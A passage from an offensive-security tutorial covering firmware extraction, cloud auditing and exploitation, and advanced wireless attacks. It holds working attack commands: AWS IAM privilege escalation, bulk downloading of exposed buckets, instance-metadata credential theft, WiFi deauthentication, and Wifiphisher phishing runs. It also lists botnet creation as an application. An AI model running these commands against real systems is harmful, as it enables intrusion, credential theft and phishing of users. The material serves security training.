# Many manufacturers provide firmware updates # Download from their website # Extract with binwalk: binwalk -e firmware_update.bin # Output: # DECIMAL HEXADECIMAL DESCRIPTION # -------------------------------------------------------------------------------- # 0 0x0 uImage header # 64 0x40 LZMA compressed data # 1048576 0x100000 Squashfs filesystem, little endian # 3145728 0x300000 JFFS2 filesystem data cd _firmware_update.bin.extracted/ ls # You now have the filesystem! # Look for: # - /etc/passwd (user accounts) # - /etc/shadow (password hashes) # - /etc/config/ (device configuration) # - Hardcoded credentials # - Private keys # - API tokens

Analyzing Firmware with Binwalk

# Binwalk is THE tool for firmware analysis # Basic scan: binwalk firmware.bin # Extract all embedded files: binwalk -e firmware.bin # Extract AND run entropy analysis: binwalk -E firmware.bin # High entropy = encrypted/compressed data # Low entropy = plaintext/code # Signature scan: binwalk -B firmware.bin # Looks for known file signatures # Disassemble code: binwalk -D 'arm:bootloader' firmware.bin # Custom extraction: binwalk --dd='.*' firmware.bin # After extraction, explore the filesystem: cd _firmware.bin.extracted/squashfs-root/ find . -name "*.conf" -o -name "*.cfg" | xargs grep -i "password" # Common findings: # - WiFi passwords in /etc/wireless/config # - Admin passwords in /etc/shadow # - API keys in /etc/api.conf # - Backdoor accounts in /etc/passwd

Hardware Reverse Engineering

Identifying Chips

# Every chip has markings. Learn to read them: # Example marking: "STM32F103C8T6" # STM = Manufacturer (STMicroelectronics) # 32 = Product line (32-bit) # F = Family (Foundation) # 103 = Model number # C8 = Flash size (64KB) # T6 = Package type and temperature range # Google the full part number to find: # - Datasheet (pinout, specifications) # - Application notes (how to use it) # - Community resources (hacks, exploits) # Common manufacturer codes: # STM = STMicroelectronics (MCUs) # ESP = Espressif (WiFi chips) # ATmega = Atmel/Microchip (Arduino MCUs) # BCM = Broadcom (networking chips) # MT = MediaTek (WiFi/Bluetooth) # W25Q = Winbond (flash memory) # If markings are scratched off or illegible: # 1. Measure package dimensions # 2. Count pins # 3. Trace PCB connections # 4. Use multimeter to identify power/ground # 5. Google similar devices for clues

PCB Reverse Engineering

# Steps to reverse engineer a circuit board: # 1. High-resolution photos (both sides) # Use good lighting, steady camera # Take multiple angles # 2. Identify components # Look up all chip part numbers # Create component list # 3. Trace connections with multimeter # Continuity mode: beep = connected # Map which pins connect to what # 4. Draw schematic (optional but helpful) # Use KiCad, Eagle, or pen+paper # Document power, ground, signal connections # 5. Find interesting test points # Look for unpopulated headers # Probe with oscilloscope/logic analyzer # Identify communication protocols # Tools for PCB analysis: # • Multimeter ($20-100) # • Logic analyzer ($10-200) # - Cheap: Saleae clones ($10) # - Pro: Saleae Logic Pro ($500) # • Oscilloscope ($100-1000+) # - Entry: Rigol DS1054Z ($400) # - Budget: Hantek DSO2D15 ($200) # • Microscope (USB microscope, $30-100) # • Hot air station (for desoldering, $50-150) # Logic analyzer usage example: # Connect probes to suspected UART TX pin # Set trigger: Rising edge # Capture during device boot # Analyze with PulseView/Sigrok: pulseview # Protocol decoder: UART # Baud rate: Auto-detect or try common rates # View decoded text: You see boot messages!

🎉 You're Now a Hardware Hacker!

You've learned:

✅ UART: Serial console access, finding pins, connecting adapters
✅ JTAG: Complete processor control, firmware dumping with OpenOCD
✅ SPI: Flash memory extraction, chip programming
✅ I2C: EEPROM reading/writing, configuration manipulation
✅ Bus Pirate: Multi-protocol swiss army knife
✅ Arduino/Pi: Custom hardware attacks, portable platforms
✅ Firmware extraction: Binwalk, flashrom, bootloader dumps
✅ Hardware RE: Chip identification, PCB tracing, protocol analysis

Real-world applications:
• Smart lock bypass (UART root shell)
• Security camera firmware extraction (hardcoded admin password)
• Industrial controller exploitation (exposed JTAG)
• IoT botnet creation (compromised firmware)
• Physical implants (Raspberry Pi drop box)

Next steps:
• Buy a cheap IoT device (security camera, smart plug)
• Open it up, find UART pins
• Connect, get root shell
• Extract firmware with binwalk
• Find hardcoded credentials
• Modify firmware, reflash

Hardware hacking is incredibly rewarding. You're not just typing commands—you're physically interacting with circuits, chips, and signals. It's hacking you can TOUCH! 🔧⚡

Cloud Penetration Testing

The cloud isn't someone else's computer—it's someone else's MASSIVE infrastructure that you need to secure! AWS, Azure, Google Cloud... these platforms run millions of companies' critical data. One misconfigured S3 bucket = data breach. One overprivileged IAM role = complete account takeover. Traditional network pentesting skills don't directly translate to cloud—you need to understand IAM policies, storage permissions, serverless functions, container orchestration, and cloud-specific attack vectors. In this section, you'll learn to assess cloud security like a pro, find misconfigurations that lead to breaches, and exploit the unique vulnerabilities of cloud environments!

💡 Cloud Pentesting = Auditing a Massive Apartment Complex

Imagine AWS as a HUGE apartment building with millions of units (resources). Each tenant (customer) has:

• Keys (IAM credentials): Some tenants give master keys to janitors (overprivileged roles)
• Storage units (S3 buckets): Some leave them unlocked (public read access)
• Doors (security groups): Some leave front doors wide open (0.0.0.0/0)
• Shared spaces (public snapshots): Accidentally shared with everyone

Your job as a cloud pentester:
• Find unlocked doors (exposed services)
• Test if janitor keys work on penthouse units (privilege escalation)
• Check storage units for sensitive data (S3 enumeration)
• Look for shared items that shouldn't be (snapshot/AMI exposure)

Cloud security is about CONFIGURATION, not exploiting software vulnerabilities!

Understanding Cloud Security Models

The Shared Responsibility Model

Who Secures What?

Cloud Provider's Responsibility (AWS/Azure/GCP):
• Physical security of data centers
• Hardware maintenance
• Network infrastructure
• Hypervisor security
• Managed service security

Customer's Responsibility (YOU!):
• IAM policies and user management
• Data encryption
• Network configuration (security groups, NACLs)
• Operating system patches
• Application security
• S3 bucket permissions
• Database access controls

The problem: Most breaches happen because customers misconfigure THEIR part—not because of cloud provider failures. That's what you're testing for!

AWS Security Assessment with ScoutSuite

ScoutSuite is a multi-cloud security auditing tool (formerly Scout2). It scans your AWS/Azure/GCP environment and generates a comprehensive HTML report of security issues.

# Install ScoutSuite: pip3 install scoutsuite # Or from GitHub: git clone https://github.com/nccgroup/ScoutSuite cd ScoutSuite pip3 install -r requirements.txt # Verify installation: scout --help # Output: # usage: scout [-h] {aws,azure,gcp,aliyun,oci} ... # # Scout Suite - Multi-Cloud Security Auditing Tool

Running ScoutSuite Against AWS

# Prerequisites: AWS credentials configured # Method 1: AWS CLI credentials file (~/.aws/credentials) aws configure # AWS Access Key ID: AKIA... # AWS Secret Access Key: ... # Default region name: us-east-1 # Default output format: json # Method 2: Environment variables export AWS_ACCESS_KEY_ID="AKIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_DEFAULT_REGION="us-east-1" # Method 3: IAM role (if running on EC2 instance) # Automatically uses instance profile # Run ScoutSuite AWS scan: scout aws # Output (during scan): # [*] Collecting data from AWS API... # [*] Fetching IAM data... # [*] Fetching EC2 data... # [*] Fetching S3 data... # [*] Fetching RDS data... # [*] Fetching Lambda data... # [*] Analyzing findings... # [*] Generating report... # [+] Report saved to: scoutsuite-report/aws-.html # Open the report: firefox scoutsuite-report/aws-*.html # Advanced options: # Scan specific services only: scout aws --services s3 ec2 iam # Use specific AWS profile: scout aws --profile production # Save report to custom location: scout aws --report-dir /tmp/cloud-audit/ # Scan multiple regions: scout aws --regions us-east-1 us-west-2 eu-west-1 # Exclude certain checks: scout aws --skip-findings s3-bucket-no-logging # Resume interrupted scan: scout aws --resume

Understanding ScoutSuite Findings

# ScoutSuite report shows findings categorized by service: # Example findings: # 🔴 DANGER - S3 Buckets with Public Read Access # Bucket Name: company-backups # Issue: Bucket allows public read access # Risk: Anyone on the internet can download all files # Recommendation: Remove public access, use bucket policies # # How to verify: aws s3api get-bucket-acl --bucket company-backups # How to fix: aws s3api put-public-access-block --bucket company-backups --public-access-block-configuration "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true" # 🔴 DANGER - IAM Users with Admin Access # User: backup-script # Issue: User has AdministratorAccess policy attached # Risk: Compromise of these credentials = full account takeover # Recommendation: Use principle of least privilege # # How to check: aws iam list-attached-user-policies --user-name backup-script # How to fix: # Create custom policy with only needed permissions # Attach specific policy, remove AdministratorAccess # 🟡 WARNING - Security Groups Allow 0.0.0.0/0 SSH Access # Security Group: sg-0a1b2c3d # Issue: Port 22 open to entire internet # Risk: Brute-force attacks, credential stuffing # Recommendation: Restrict to specific IP ranges # # How to check: aws ec2 describe-security-groups --group-ids sg-0a1b2c3d # How to fix: aws ec2 revoke-security-group-ingress --group-id sg-0a1b2c3d --protocol tcp --port 22 --cidr 0.0.0.0/0 aws ec2 authorize-security-group-ingress --group-id sg-0a1b2c3d --protocol tcp --port 22 --cidr 1.2.3.4/32 # 🟡 WARNING - RDS Databases Not Encrypted # Database: production-db # Issue: Storage encryption disabled # Risk: Data at rest not protected # Recommendation: Enable encryption (requires recreation) # 🟡 WARNING - Root Account MFA Not Enabled # Issue: Root account doesn't have multi-factor authentication # Risk: Stolen password = complete account compromise # Recommendation: Enable virtual or hardware MFA # 🟢 INFO - CloudTrail Not Enabled in All Regions # Issue: API activity not logged in some regions # Risk: Attacker actions might not be detected # Recommendation: Enable CloudTrail in all regions

Prowler - AWS Security Best Practices Auditor

Prowler is a command-line tool that performs AWS security assessments based on CIS Amazon Web Services Foundations Benchmark. It runs 200+ checks!

# Install Prowler: pip3 install prowler # Or use Docker: docker pull toniblyx/prowler # Run basic scan: prowler aws # Output (live during scan): # Check 1.1 [check11] Avoid use of "root" account ... [OK] # Check 1.2 [check12] Ensure MFA is enabled for "root" account ... [FAIL] # Check 1.3 [check13] Ensure credentials unused for 90 days are disabled ... [OK] # Check 2.1 [check21] Ensure CloudTrail is enabled in all regions ... [FAIL] # Check 2.2 [check22] Ensure CloudTrail log file validation is enabled ... [OK] # [... 200+ checks ...] # Run specific check group: prowler aws -g check1,check2 # Only IAM checks (group 1) and CloudTrail checks (group 2) # Run specific checks: prowler aws -c check11,check12,check21 # Generate HTML report: prowler aws -M html # Output files: # prowler-output--.html # prowler-output--.json # prowler-output--.csv # Scan specific regions: prowler aws -f us-east-1,us-west-2 # Exclude specific checks: prowler aws -e check11,check22 # Use specific AWS profile: prowler aws -p production # Run in quiet mode (only show failures): prowler aws -q # Save results to S3: prowler aws -B s3://my-prowler-reports/ # Run with custom checks: prowler aws -x /path/to/custom_checks/

Key Prowler Checks (CIS Benchmark)

# Identity and Access Management (Group 1): # • 1.1: Avoid root account usage # • 1.2: MFA enabled for root # • 1.3: Disable unused credentials (90+ days) # • 1.4: Access keys rotated every 90 days # • 1.5: Password policy requires uppercase # • 1.6: Password policy requires lowercase # • 1.7: Password policy requires symbols # • 1.8: Password policy requires numbers # • 1.9: Password policy minimum length 14 # • 1.10: Password reuse prevention # • 1.11: Password expiration 90 days # • 1.12-1.22: Various IAM policy checks # Logging (Group 2): # • 2.1: CloudTrail enabled in all regions # • 2.2: CloudTrail log file validation enabled # • 2.3: S3 bucket for CloudTrail not public # • 2.4: CloudTrail integrated with CloudWatch Logs # • 2.5: AWS Config enabled in all regions # • 2.6: S3 bucket logging enabled for CloudTrail # • 2.7: CloudTrail logs encrypted with KMS # • 2.8: KMS key rotation enabled # • 2.9: VPC Flow Logging enabled # Monitoring (Group 3): # • 3.1-3.14: CloudWatch alarms for suspicious activity # - Unauthorized API calls # - Console sign-in without MFA # - Root account usage # - IAM policy changes # - CloudTrail configuration changes # - Failed console authentication # - Security group changes # - NACL changes # - Network gateway changes # - Route table changes # - VPC changes # Networking (Group 4): # • 4.1: Security groups don't allow 0.0.0.0/0 ingress on port 22 # • 4.2: Security groups don't allow 0.0.0.0/0 ingress on port 3389 # • 4.3: VPC default security group restricts all traffic # Additional AWS checks (Group 7): # • S3 bucket versioning enabled # • S3 bucket MFA delete enabled # • S3 bucket encryption enabled # • ELB listener using HTTPS/TLS # • RDS encryption enabled # • RDS backup retention period > 7 days # • RDS multi-AZ enabled # • Lambda functions not public # • EC2 instances use IMDSv2

S3 Bucket Enumeration & Exploitation

Finding Public S3 Buckets

# S3 bucket naming patterns to try: # company-name # companyname # company-backups # company-logs # company-prod # company-dev # company-staging # www.company.com # company.com # Method 1: Direct URL access curl http://company-backups.s3.amazonaws.com # If bucket exists and allows listing: # # # company-backups # # database-dump.sql # credentials.txt # # # Method 2: Using AWS CLI aws s3 ls s3://company-backups # If public: # 2026-01-07 10:00:00 1048576 database-dump.sql # 2026-01-07 11:30:00 1024 credentials.txt # Download all files: aws s3 sync s3://company-backups ./downloaded-data/ # Method 3: Using s3scanner # https://github.com/sa7mon/S3Scanner pip3 install s3scanner # Scan list of potential buckets: echo "company-backups company-logs company-prod company-dev" > buckets.txt s3scanner scan --buckets-file buckets.txt # Output: # [+] company-backups - PUBLIC - ListBucket # [+] company-logs - PUBLIC - ListBucket, GetObject # [-] company-prod - NOT_EXIST # [-] company-dev - FORBIDDEN # Method 4: Google Dorking for S3 buckets # Search: site:s3.amazonaws.com "company name" # Search: site:s3.amazonaws.com intitle:"Index of" # Search: inurl:s3.amazonaws.com filetype:pdf confidential # Method 5: Using bucket-stream (real-time monitoring) # https://github.com/eth0izzle/bucket-stream git clone https://github.com/eth0izzle/bucket-stream cd bucket-stream pip3 install -r requirements.txt # Monitor certstream for new S3 buckets: python3 bucket-stream.py # Output (live stream): # [+] company-backup.s3.amazonaws.com - PUBLIC # [+] startup-logs.s3.amazonaws.com - PUBLIC

Exploiting S3 Misconfigurations

# Common S3 misconfigurations: # 1. Public Read Access (COMMON) # Anyone can list and download files aws s3 ls s3://vulnerable-bucket/ aws s3 cp s3://vulnerable-bucket/secrets.txt ./ # 2. Public Write Access (RARE but CRITICAL) # Anyone can upload files! echo "hacked" > test.txt aws s3 cp test.txt s3://vulnerable-bucket/ # Exploitation scenario: # - Upload web shell to bucket # - If bucket serves website, execute shell # - Or: Upload malicious files for phishing # 3. Authenticated Read (AWS account required, any account works) # Not public, but any AWS user can access aws s3 ls s3://authenticated-bucket/ --profile my-aws-account # 4. Object-level permissions (each file has its own ACL) # Bucket might be private, but individual objects are public aws s3api get-object-acl --bucket company-bucket --key sensitive.pdf # Output: # "Grantee": { # "Type": "Group", # "URI": "http://acs.amazonaws.com/groups/global/AllUsers" # } # ← This file is public even if bucket isn't! # 5. Bucket policies allowing specific actions aws s3api get-bucket-policy --bucket company-bucket # Policy might allow: # - GetObject from any IP (download files) # - PutObject from specific IPs (upload if you're in range) # - DeleteObject (catastrophic!) # Checking bucket ACL: aws s3api get-bucket-acl --bucket target-bucket # Output showing public access: # "Grantee": { # "Type": "Group", # "URI": "http://acs.amazonaws.com/groups/global/AllUsers" # }, # "Permission": "READ" # Checking bucket policy: aws s3api get-bucket-policy --bucket target-bucket --query Policy --output text | jq # Impact of S3 exposure: # • Data breach (customer data, PII) # • Credential theft (AWS keys, API tokens) # • Source code disclosure # • Database backups # • Internal documents # • Intellectual property

IAM Privilege Escalation

IAM (Identity and Access Management) misconfigurations can allow attackers to escalate privileges from low-privileged access to admin!

Common IAM Privilege Escalation Vectors

# 1. iam:CreateAccessKey on other users # If you can create access keys for other users, compromise their accounts! # List all users: aws iam list-users # Create access key for admin user: aws iam create-access-key --user-name admin # Output: # { # "AccessKey": { # "AccessKeyId": "AKIA...", # "SecretAccessKey": "..." # } # } # Now use admin's credentials! export AWS_ACCESS_KEY_ID="AKIA..." export AWS_SECRET_ACCESS_KEY="..." # You're now admin! # 2. iam:AttachUserPolicy or iam:AttachRolePolicy # Attach AdministratorAccess policy to yourself! aws iam attach-user-policy --user-name my-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess # You're now admin! # 3. iam:PutUserPolicy # Create inline policy granting admin access aws iam put-user-policy --user-name my-user --policy-name AdminPolicy --policy-document '{ "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Action": "*", "Resource": "*" }] }' # 4. iam:CreatePolicyVersion # If you can modify existing policies attached to privileged roles aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/CustomPolicy --policy-document '{ "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Action": "*", "Resource": "*" }] }' --set-as-default # 5. sts:AssumeRole # If you can assume a privileged role aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name exploit # Use returned credentials to act as AdminRole # 6. iam:PassRole + ec2:RunInstances # Launch EC2 instance with privileged instance profile, then access from instance aws ec2 run-instances --image-id ami-12345678 --instance-type t2.micro --iam-instance-profile Name=AdminInstanceProfile # SSH into instance, credentials auto-loaded: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminInstanceProfile # 7. lambda:CreateFunction + iam:PassRole # Create Lambda function with privileged role, execute it aws lambda create-function --function-name exploit --runtime python3.9 --role arn:aws:iam::123456789012:role/AdminRole --handler lambda_function.lambda_handler --zip-file fileb://exploit.zip aws lambda invoke --function-name exploit output.txt # Lambda runs with AdminRole permissions! # 8. iam:UpdateAssumeRolePolicy # Modify trust policy to allow yourself to assume role aws iam update-assume-role-policy --role-name AdminRole --policy-document '{ "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Principal": {"AWS": "arn:aws:iam::123456789012:user/my-user"}, "Action": "sts:AssumeRole" }] }' # Now assume the role: aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pwned

Automated IAM Enumeration

# enumerate-iam (identify permissions) # https://github.com/andresriancho/enumerate-iam pip3 install enumerate-iam # Run enumeration: enumerate-iam --access-key AKIA... --secret-key ... # Output: # [+] Testing IAM permissions... # [+] iam:GetUser - SUCCESS # [+] iam:ListUsers - DENIED # [+] iam:ListRoles - SUCCESS # [+] ec2:DescribeInstances - SUCCESS # [+] s3:ListAllMyBuckets - SUCCESS # [+] s3:GetObject - SUCCESS (on bucket: company-data) # CloudMapper (visualize AWS environment) # https://github.com/duo-labs/cloudmapper git clone https://github.com/duo-labs/cloudmapper cd cloudmapper pip3 install -r requirements.txt # Configure: python3 cloudmapper.py configure add-account --config-file config.json --name prod --id 123456789012 # Collect data: python3 cloudmapper.py collect --account prod # Generate visualization: python3 cloudmapper.py prepare --account prod python3 cloudmapper.py webserver # Open http://localhost:8000 - see full AWS environment map! # Pacu (AWS exploitation framework) # https://github.com/RhinoSecurityLabs/pacu git clone https://github.com/RhinoSecurityLabs/pacu cd pacu pip3 install -r requirements.txt python3 pacu.py # Inside Pacu: Pacu > import_keys access_key_id secret_access_key Pacu > run iam__enum_permissions Pacu > run iam__privesc_scan Pacu > run s3__bucket_finder # Pacu has 50+ modules for AWS exploitation!

Azure & GCP Security Assessment

Azure with ScoutSuite

# Azure requires service principal or CLI authentication # Method 1: Azure CLI (recommended) az login # Method 2: Service principal export AZURE_SUBSCRIPTION_ID="..." export AZURE_TENANT_ID="..." export AZURE_CLIENT_ID="..." export AZURE_CLIENT_SECRET="..." # Run ScoutSuite: scout azure # Key Azure findings: # • Storage accounts allowing public blob access # • Network security groups with 0.0.0.0/0 rules # • Virtual machines without encryption # • Key vaults without access policies # • SQL databases without firewall rules # • App Services allowing HTTP (not HTTPS) # Azure-specific tools: # ROADtools (Azure AD enumeration) pip3 install roadrecon # Authenticate: roadrecon auth --access-token # Gather data: roadrecon gather # Analyze in GUI: roadrecon gui # MicroBurst (Azure security assessment) git clone https://github.com/NetSPI/MicroBurst cd MicroBurst Import-Module .\MicroBurst.psm1 # Enumerate: Invoke-EnumerateAzureBlobs -Base company Invoke-EnumerateAzureSubDomains -Base company # Find storage accounts: # company.blob.core.windows.net # company-backups.blob.core.windows.net

GCP with ScoutSuite

# GCP requires service account or gcloud authentication # Authenticate with gcloud: gcloud auth login gcloud auth application-default login # Run ScoutSuite: scout gcp --project-id my-project-123 # Key GCP findings: # • GCS buckets with allUsers permission # • Compute instances with default service accounts # • Firewall rules allowing 0.0.0.0/0 # • Cloud SQL instances publicly accessible # • IAM service accounts with excessive permissions # • Cloud Functions with public invoker role # GCP-specific tools: # GCP IAM Privilege Escalation (similar to AWS) # • roles/iam.serviceAccountUser - impersonate service accounts # • roles/iam.serviceAccountKeyAdmin - create service account keys # • roles/compute.instanceAdmin - create instances with service accounts # Enumerate GCS buckets: gsutil ls # Check bucket permissions: gsutil iam get gs://company-bucket # If "allUsers" or "allAuthenticatedUsers" present = public! # Download bucket contents: gsutil -m cp -r gs://company-bucket/* ./downloaded/

🎉 You're Now a Cloud Security Expert!

You've mastered:

✅ ScoutSuite: Multi-cloud automated security assessment
✅ Prowler: AWS CIS benchmark auditing (200+ checks)
✅ S3 Enumeration: Finding and exploiting public buckets
✅ IAM Exploitation: 8+ privilege escalation techniques
✅ Azure Security: Storage accounts, NSGs, Key Vaults
✅ GCP Security: GCS buckets, IAM, Compute instances

The Cloud Pentester's Mindset:
• Think configurations, not exploits: 99% of cloud breaches are misconfigurations
• Automate everything: Environments are too large for manual testing
• Understand IAM deeply: Identity is the new perimeter
• Check the obvious first: Public S3 buckets, 0.0.0.0/0 security groups
• Map the environment: Know what you're testing before diving deep

Real-world cloud breaches:
• Capital One (2019): SSRF + overprivileged IAM role = 100M records
• Uber (2016): GitHub credentials in S3 bucket = full AWS compromise
• Dow Jones (2017): Public S3 bucket = 2.2M customer records exposed
• Tesla (2018): Public Kubernetes dashboard = cryptomining in cloud

Practice resources:
• CloudGoat: Vulnerable-by-design AWS environment
• flAWS.cloud: AWS security challenges
• AWSGoat: Vulnerable AWS infrastructure
• GCP-Goat: Vulnerable GCP environment

Cloud security is THE fastest-growing pentesting specialty. Companies are desperate for people who understand IAM, storage permissions, and cloud-native security. Master this = job security for life! ☁️🔐

Advanced Wireless Techniques

Wireless networks are everywhere—invisible highways carrying data through the air. WiFi at coffee shops, Bluetooth headphones, RFID access badges, NFC payment cards, ZigBee smart home devices, 433MHz garage door openers... every wireless protocol is a potential attack vector. In Bonus B1, we covered basic WiFi hacking (aircrack-ng, airodump-ng, WPA cracking). Now we go DEEP: advanced monitoring with Kismet, social engineering attacks with Wifiphisher, WPA3 cracking, Bluetooth exploitation, RFID cloning, and radio frequency analysis. This section transforms you from WiFi script kiddie to wireless penetration expert!

💡 Wireless Hacking = Being an Invisible Spy

Imagine the air around you is filled with invisible conversations. Every WiFi network, Bluetooth device, and RFID card is constantly broadcasting. Traditional hackers need physical access or internet connections. Wireless hackers just need to be nearby!

With the right tools, you can:
• Listen to WiFi handshakes from 100+ meters away
• Capture Bluetooth keyboard keystrokes
• Clone RFID access badges by walking past someone
• Intercept car key fob signals and replay them
• Create fake WiFi networks that look legitimate
• Jam wireless signals to cause denial of service

Wireless hacking is powerful because victims don't know they're being attacked. No cables, no physical access, no traces!

Part 1: Kismet - Advanced WiFi/Bluetooth Detection & Monitoring

Kismet is a powerful wireless network detector, sniffer, and intrusion detection system. Unlike airodump-ng (which focuses on one network at a time), Kismet passively monitors ALL wireless traffic on all channels simultaneously!

Why Kismet > airodump-ng?

Kismet advantages:
• Channel hopping: Monitors all WiFi channels at once (airodump-ng locks to one)
• Web interface: Beautiful real-time dashboard with graphs and maps
• Bluetooth support: Detects BLE, BTLE, and classic Bluetooth
• GPS integration: Maps access point locations (wardriving!)
• Historical data: Tracks networks over time, detects patterns
• Plugin system: Extensible with Python plugins
• Hidden SSID detection: Reveals hidden networks via client probes
• Rogue AP detection: Identifies evil twin attacks

Use airodump-ng for: Targeted attacks on specific networks
Use Kismet for: Passive reconnaissance, wardriving, comprehensive monitoring

Installing Kismet

# Kismet comes with Kali, but here's how to update: sudo apt update sudo apt install kismet # Verify installation: kismet --version # Output: # Kismet 2024.07.01 # Add your user to kismet group (avoid running as root): sudo usermod -aG kismet $USER # Log out and back in for group change to take effect # Start Kismet: kismet # Output: # INFO: Kismet starting... # INFO: Creating web server on http://localhost:2501 # INFO: Kismet server listening on http://localhost:2501 # # Open your browser to: http://localhost:2501

Kismet Web Interface Walkthrough

# When you open http://localhost:2501: # First-time setup: # 1. Create admin user and password # 2. Select data sources (WiFi adapters) # Main Dashboard shows: # • Total networks detected # • Total devices detected # • Channel distribution graph # • Signal strength over time # • Recent activity feed # Key tabs: # 1. DEVICES tab: # Shows all detected WiFi networks and clients # Columns: # - Name (SSID) # - Type (AP, Client, Bridge) # - Channel # - Encryption (WPA2, WPA3, Open) # - Signal strength # - First seen / Last seen # - Manufacturer (from MAC OUI) # Click any device to see detailed info: # - Full MAC address # - Beacon frames captured # - Data packets # - Connected clients # - GPS coordinates (if GPS enabled) # - Historical signal strength graph # 2. CHANNEL USAGE: # Shows which channels are most crowded # Helps identify least-used channels for attacks # 3. DATASOURCES: # Manage WiFi adapters # Add/remove interfaces # See packet capture rates # 4. PLUGINS: # Enable/disable Kismet plugins # Install new plugins # 5. ALERTS: # Security alerts: # - Rogue AP detected # - Deauth flood detected # - GPS spoofing detected # - Bluetooth scanning attacks

Kismet Command-Line Usage

# Start Kismet with specific adapter: kismet -c wlan0 # Start with multiple adapters: kismet -c wlan0 -c wlan1 # Enable GPS: kismet -c wlan0 --use-gpsd # Specify output directory: kismet -c wlan0 --log-prefix /root/kismet-logs/ # Run in quiet mode (no web interface): kismet -c wlan0 --no-ncurses --no-webui # Capture only specific channels: kismet -c wlan0:channels="1,6,11" # Capture 5GHz only: kismet -c wlan0:channels="36,40,44,48" # Set GPS location manually (no GPS device): kismet -c wlan0 --override-gps-lat 40.7128 --override-gps-lon -74.0060 # Enable Bluetooth: kismet -c hci0:name=bluetooth # All wireless protocols at once: kismet -c wlan0 -c hci0

Wardriving with Kismet

# Wardriving = driving around mapping WiFi networks # Hardware needed: # • Laptop with Kali # • High-gain WiFi adapter (Alfa AWUS036ACH recommended) # • GPS dongle (GlobalSat BU-353 or phone GPS via Bluetooth) # • Car power inverter or large battery pack # Setup GPS: # Install gpsd: sudo apt install gpsd gpsd-clients # Connect GPS dongle, then: sudo gpsd /dev/ttyUSB0 -F /var/run/gpsd.sock # Verify GPS: cgps # You should see satellites and coordinates # Start Kismet with GPS: kismet -c wlan0 --use-gpsd # Drive around for hours! # Kismet logs everything to: ~/.kismet/logs/ # After wardriving session: # Kismet creates files: # - Kismet-YYYYMMDD-HH-MM-SS-1.kismet (database) # - Kismet-YYYYMMDD-HH-MM-SS-1.pcapng (packet capture) # - Kismet-YYYYMMDD-HH-MM-SS-1.log (text log) # Convert Kismet logs to KML (Google Earth): kismetdb_to_kml --in Kismet-20260108-10-00-00-1.kismet --out networks.kml # Open in Google Earth to see all networks on map! # Export to CSV for analysis: kismetdb_to_csv --in Kismet-20260108-10-00-00-1.kismet --out networks.csv # Analyze CSV with Python/Excel: # Find most common SSIDs, weakest encryption, high-value targets

Detecting Hidden SSIDs with Kismet

# Many networks hide their SSID (not broadcast in beacons) # But clients constantly probe for known networks! # In Kismet web interface: # 1. Look for networks with SSID: "" # 2. Click the network # 3. Go to "Client Devices" tab # 4. Watch for probe requests # Clients send: "Is [NetworkName] here? Is [NetworkName] here?" # Kismet captures these probes and reveals the SSID! # Example: # Hidden network at MAC: AA:BB:CC:DD:EE:FF # Client probes: "Is HomeNetwork here?" # → Kismet updates: AA:BB:CC:DD:EE:FF = "HomeNetwork" # Force faster revelation: # Deauth clients from the hidden network # They'll immediately probe to reconnect! aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon # Within seconds, Kismet reveals the hidden SSID

Part 2: Fern WiFi Cracker - GUI-Based WiFi Hacking

Fern WiFi Cracker is a graphical tool that automates WiFi security testing. It's essentially a GUI wrapper around aircrack-ng suite, making attacks point-and-click easy!

# Install Fern: sudo apt install fern-wifi-cracker # Or from GitHub: git clone https://github.com/savio-code/fern-wifi-cracker.git cd fern-wifi-cracker sudo python3 execute.py # Launch Fern: sudo fern-wifi-cracker # Main interface: # 1. Select WiFi interface (wlan0) # 2. Click "Scan for Access Points" # 3. Choose WEP or WPA/WPA2 tab # 4. Select target network # 5. Click attack type: # - WEP: Fake authentication, ARP replay, caffe-latte # - WPA: Handshake capture, deauth attack # 6. Provide wordlist for cracking # 7. Click "WiFi Attack" # Fern automatically: # ✅ Enables monitor mode # ✅ Captures handshake # ✅ Deauths clients # ✅ Cracks password # ✅ Displays results # Features: # • Automatic attack selection (best for each encryption) # • Built-in wordlist manager # • Session management (resume attacks) # • Ethernet attacks (ARP spoofing, DNS spoofing) # • Credential harvester (fake login pages) # Limitations: # • Not as flexible as manual aircrack-ng # • Slower than command-line tools # • Less control over parameters # Best use: Quick audits, demos, teaching beginners

Part 3: Wifiphisher - Social Engineering WiFi Attacks

Wifiphisher is a rogue access point framework for automated phishing attacks against WiFi users. It creates fake access points, jams the real network, and serves credential-stealing web pages!

💡 Wifiphisher = The WiFi Con Artist

Imagine you're at a coffee shop. The WiFi is "CoffeeShop_Guest". Suddenly:

1. Your connection drops (Wifiphisher jamming real AP)
2. You see "CoffeeShop_Guest" again, connect
3. Browser opens: "Firmware Update Required - Enter WiFi Password to Continue"
4. You type your password...
5. Attacker now has the WPA password!

Wifiphisher automates this entire attack: jam → fake AP → phishing page → capture credentials!

# Install Wifiphisher: sudo apt install wifiphisher # Or from GitHub: git clone https://github.com/wifiphisher/wifiphisher.git cd wifiphisher sudo python3 setup.py install # Basic attack (automated): sudo wifiphisher # Wifiphisher will: # 1. Scan for networks # 2. Display list of APs # 3. You select target # 4. Wifiphisher jams target AP # 5. Creates fake AP with same SSID # 6. Serves phishing page # Manual mode (more control): sudo wifiphisher -aI wlan0 -jI wlan1 -e "TargetNetwork" # -aI wlan0 → Access point interface (creates fake AP) # -jI wlan1 → Jamming interface (deauths real AP) # -e "TargetNetwork" → Target SSID # Built-in phishing scenarios: # 1. Firmware Upgrade (most believable): sudo wifiphisher -aI wlan0 -jI wlan1 -e "TargetNetwork" -p firmware-upgrade # Page says: "Router firmware update required. Enter WiFi password to continue." # 2. Browser Plugin Update: sudo wifiphisher -p plugin_update # Page says: "Browser plugin outdated. Install update to continue." # Downloads malware! # 3. OAuth Login: sudo wifiphisher -p oauth-login # Fake Google/Facebook login page # 4. Network Manager Connect: sudo wifiphisher -p network_manager_connect # Looks like Linux network manager 